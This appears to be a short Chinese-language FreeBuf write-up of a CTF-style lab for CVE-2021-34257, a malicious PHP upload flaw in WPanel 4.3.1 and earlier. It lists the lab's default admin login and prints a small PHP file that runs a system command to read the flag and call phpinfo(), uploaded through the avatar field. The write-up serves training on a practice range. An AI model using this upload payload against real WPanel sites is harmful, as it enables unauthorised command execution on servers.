官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
【春秋云境】CVE-2021-34257靶场实战记录
- 关注
【春秋云境】CVE-2021-34257靶场实战记录
靶场介绍
WPanel是一个用于构建博客、网站和网络应用程序的CMS。 WPanel 4 4.3.1 及更低版本存在安全漏洞，该漏洞源于通过恶意 PHP 文件上传
开启靶场
账号：admin@admin.com密码：admin ，登陆到后台
权限马如下
<?php
system('cat /flag');
phpinfo();
?>
解题步骤
构造权限马，在头像上传处上传
上传成功后复制地址到新标签页打开获取flag
本文为 独立观点，未经允许不得转载，授权请联系FreeBuf客服小蜜蜂，微信：freebee2022
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
- 0 文章数
- 0 关注者
文章目录